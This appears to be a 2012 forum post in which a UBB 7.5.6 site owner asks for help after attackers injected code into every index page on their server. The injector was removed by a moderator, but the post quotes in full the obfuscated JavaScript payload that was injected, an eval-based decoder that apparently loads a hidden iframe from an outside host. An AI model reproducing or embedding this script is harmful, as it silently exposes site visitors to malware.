hackers found a way to inject a file onto my site that self replicated throughout my server and injected malicious code in all index.htm and index.html files.

they did it with this...
Code
-- SD: saved code locally and removed from post --

and this is what they were injecting...
Code
 
<script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c-1c81c-29c-33c-33c-33c63c60c72c55c67c59c72c-2c-1c17c-29c-33c-33c83c-10c59c66c73c59c-10c81c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c77c72c63c74c59c-2c-8c18c63c60c72c55c67c59c-10c73c72c57c19c-3c62c74c74c70c16c5c5c63c77c59c55c79c76c75c55c76c4c63c61c61c4c56c63c80c5c21c61c69c19c8c-3c-10c77c63c58c74c62c19c-3c7c6c-3c-10c62c59c63c61c62c74c19c-3c7c6c-3c-10c73c74c79c66c59c19c-3c76c63c73c63c56c63c66c63c74c79c16c62c63c58c58c59c68c17c70c69c73c63c74c63c69c68c16c55c56c73c69c66c75c74c59c17c66c59c60c74c16c6c17c74c69c70c16c6c17c-3c20c18c5c63c60c72c55c67c59c20c-8c-1c17c-29c-33c-33c83c-29c-33c-33c60c75c68c57c74c63c69c68c-10c63c60c72c55c67c59c72c-2c-1c81c-29c-33c-33c-33c76c55c72c-10c60c-10c19c-10c58c69c57c75c67c59c68c74c4c57c72c59c55c74c59c27c66c59c67c59c68c74c-2c-3c63c60c72c55c67c59c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c73c72c57c-3c2c-3c62c74c74c70c16c5c5c63c77c59c55c79c76c75c55c76c4c63c61c61c4c56c63c80c5c21c61c69c19c8c-3c-1c17c60c4c73c74c79c66c59c4c76c63c73c63c56c63c66c63c74c79c19c-3c62c63c58c58c59c68c-3c17c60c4c73c74c79c66c59c4c70c69c73c63c74c63c69c68c19c-3c55c56c73c69c66c75c74c59c-3c17c60c4c73c74c79c66c59c4c66c59c60c74c19c-3c6c-3c17c60c4c73c74c79c66c59c4c74c69c70c19c-3c6c-3c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c77c63c58c74c62c-3c2c-3c7c6c-3c-1c17c60c4c73c59c74c23c74c74c72c63c56c75c74c59c-2c-3c62c59c63c61c62c74c-3c2c-3c7c6c-3c-1c17c-29c-33c-33c-33c58c69c57c75c67c59c68c74c4c61c59c74c27c66c59c67c59c68c74c73c24c79c42c55c61c36c55c67c59c-2c-3c56c69c58c79c-3c-1c49c6c51c4c55c70c70c59c68c58c25c62c63c66c58c-2c60c-1c17c-29c-33c-33c83'][0].split('c');v="e"+"va"+"l";}if(v)e=window[v];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;569!=i;i+=1){j=i;if(e)s=s+r["fromC"+z](w[j]*1+42);} if(v&&e&&r)e(s);</script>

I am using UBB 7.5.6p2


Last edited by SD; 05/11/2012 11:44 AM. Reason: Just removed actual exploit line
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